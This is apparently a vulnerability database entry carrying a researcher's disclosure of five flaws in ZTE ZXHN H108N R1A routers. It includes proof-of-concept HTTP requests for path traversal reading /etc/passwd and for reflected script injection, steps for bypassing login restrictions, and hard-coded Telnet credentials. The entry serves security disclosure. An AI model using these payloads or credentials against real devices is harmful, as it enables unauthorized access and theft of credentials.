ID

VAR-201512-0229

CVE

CVE-2015-7249

TITLE

ZTE ZXHN H108N R1A routers contain multiple vulnerabilities

DESCRIPTION

ZTE ZXHN H108N R1A devices before ZTE.bhs.ZXHNH108NR1A.k_PE allow remote authenticated users to bypass intended access restrictions via a modified request, as demonstrated by leveraging the support account to change a password via a cgi-bin/webproc accountpsd action. ZTE ZXHN H108N R1A router, version ZTE.bhs.ZXHNH108NR1A.h_PE, and ZXV10 W300 router, version W300V1.0.0f_ER1_PE, contain multiple vulnerabilities. ZTE ZXHN H108N R1A A vulnerability exists in the device that prevents access restrictions. ZTE ZXHN H108N R1A is a wireless router product of China ZTE Corporation. ZTE ZXHN H108N R1A ZTE.bhs.ZXHNH108NR1A.h_PE has a security vulnerability that allows a remote attacker to authenticate with an existing account by operating the parameters in the client-side request and perform unauthorized operations. ZTE ZXHN H108N R1A routers are prone to the following security vulnerabilities: 1. Multiple information-disclosure vulnerabilities 2. An authorization-bypass vulnerability 3. A directory-traversal vulnerability 4. A hard-coded credentials vulnerability 5. A cross-site scripting vulnerability Attackers can exploit these issues to gain access to the browser of an unsuspecting user and execute arbitrary script code in the context of the affected site, steal cookie-based authentication credentials, gain access to sensitive information, read arbitrary files, or bypass security restrictions and perform unauthorized actions. This may aid in further attacks. *CVE-ID*: CVE-2015-7248 CVE-2015-7249 CVE-2015-7250 CVE-2015-7251 CVE-2015-7252 *Note*: Large deployment size, primarily in Peru, used by TdP. Description *CWE-200* <https://cwe.mitre.org/data/definitions/200.html>*: Information Exposure* - CVE-2015-7248 Multiple information exposure vulnerabilities enable an attacker to obtain credentials and other sensitive details about the ZXHN H108N R1A. A. User names and password hashes can be viewed in the page source of http://<IP>/cgi-bin/webproc PoC: Login Page source contents: ...snip.... //get user info var G_UserInfo = new Array(); var m = 0; G_UserInfo[m] = new Array(); G_UserInfo[m][0] = "admin"; //UserName G_UserInfo[m][1] = "$1$Tsnipped/; //Password Hash seen here G_UserInfo[m][2] = "1"; //Level G_UserInfo[m][3] = "1"; //Index m++; G_UserInfo[m] = new Array(); G_UserInfo[m][0] = "user"; //UserName G_UserInfo[m][1] = "$1$Tsnipped"; //Password Hash seen here G_UserInfo[m][2] = "2"; //Level G_UserInfo[m][3] = "2"; //Index m++; G_UserInfo[m] = new Array(); G_UserInfo[m][0] = "support"; //UserName G_UserInfo[m][1] = "$1$Tsnipped"; //Password Hash seen here G_UserInfo[m][2] = "2"; //Level G_UserInfo[m][3] = "3"; //Index m++; ...snip... B. The configuration file of the device contains usernames, passwords, keys, and other values in plain text, which can be used by a user with lower privileges to gain admin account access. This issue also affects ZTE ZXV10 W300 models, version W300V1.0.0f_ER1_PE. *CWE-285* <https://cwe.mitre.org/data/definitions/285.html>*: Improper Authorization* - CVE-2015-7249 By default, only admin may authenticate directly with the web administration pages in the ZXHN H108N R1A. PoC 1: 1. Login page user drop-down option shows only admin only. 2. Use an intercepting proxy / Tamper Data - and intercept the Login submit request. 3. Change the username admin to user / support and continue Login. 4. Application permits other users to log in to mgmt portal. PoC 2: After logging in as support, some functional options are visibly restricted. Certain actions can still be performed by calling the url directly. Application does not perform proper AuthZ checks. Following poc is a change password link. It is accessible directly, though it (correctly) is restricted to changing normal user (non-admin) password only. http:// <IP>/cgi-bin/webproc?getpage=html/index.html&var:menu=maintenance&var:page=accessctrl&var:subpage=accountpsd Other functions / pages may also be accessible to non-privileged users. *CWE-22* <http://cwe.mitre.org/data/definitions/22.html>*: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') *- CVE-2015-7250 The webproc cgi module of the ZXHN H108N R1A accepts a getpage parameter which takes an unrestricted file path as input, allowing an attacker to read arbitrary files on the system. Arbitrary files can be read off of the device. No authentication is required to exploit this vulnerability. PoC HTTP POST request POST /cgi­bin/webproc HTTP/1.1 Host: IP User­Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:18.0) Gecko/20100101 Firefox/18.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept­Language: en­US,en;q=0.5 Accept­Encoding: gzip, deflate Referer: https://IP/cgi­bin/webproc Cookie: sessionid=7ce7bd4a; language=en_us; sys_UserName=admin Connection: keep­alive Content­Type: application/x­www­form­urlencoded Content­Length: 177 getpage=html%2Findex.html&errorpage=%2fetc%2fpasswd&var%3Amenu=setup&var%3Apage=wancfg&obj­ action=auth&%3Ausername=admin&%3Apassword=admin&%3Aaction=login&%3Asessionid=7ce7bd4a HTTP Response HTTP/1.0 200 OK Content­type: text/html Pragma: no­cache Cache­Control: no­cache set­cookie: sessionid=7ce7bd4a; expires=Fri, 31­Dec­9999 23:59:59 GMT;path=/ #root:x:0:0:root:/root:/bin/bash root:x:0:0:root:/root:/bin/sh #tw:x:504:504::/home/tw:/bin/bash #tw:x:504:504::/home/tw:/bin/msh *CWE-798* <http://cwe.mitre.org/data/definitions/798.html>*: Use of Hard-coded Credentials* - CVE-2015-7251 In the ZXHN H108N R1A, the Telnet service, when enabled, is accessible using the hard-coded credentials 'root' for both the username and password. *CWE-79* <https://cwe.mitre.org/data/definitions/79.html>*: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') *- CVE-2015-7252 In the ZXHN H108N R1A, the errorpage parameter of the webproc cgi module is vulnerable to reflected cross-site scripting [pre-authentication]. PoC POST /cgi­bin/webproc HTTP/1.1 Host: IP User­Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:18.0) Gecko/20100101 Firefox/18.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept­Language: en­US,en;q=0.5 Accept­Encoding: gzip, deflate Referer: https://IP/cgi­bin/webproc Cookie: sessionid=7ce7bd4a; language=en_us; sys_UserName=admin Connection: keep­alive Content­Type: application/x­www­form­urlencoded Content­Length: 177 getpage=html%2Findex.html&*errorpage*=html%2fmain.html<script>alert(1)</script>&var%3Amenu=setup&var%3Apage=wancfg&obj­ action=auth&%3Ausername=admin&%3Apassword=admin&%3Aaction=login&%3Asessionid=7ce7bd4a +++++ -- Best Regards, Karn Ganeshen

IOT TAXONOMY

AFFECTED PRODUCTS

CVSS

PROBLEMTYPE DATA

THREAT TYPE

remote

TYPE

permissions and access control

CONFIGURATIONS

EXPLOIT AVAILABILITY

PATCH

EXTERNAL IDS

REFERENCES

CREDITS

Karn Ganeshen

SOURCES

LAST UPDATE DATE

2024-11-23T21:43:34.252000+00:00

SOURCES UPDATE DATE

SOURCES RELEASE DATE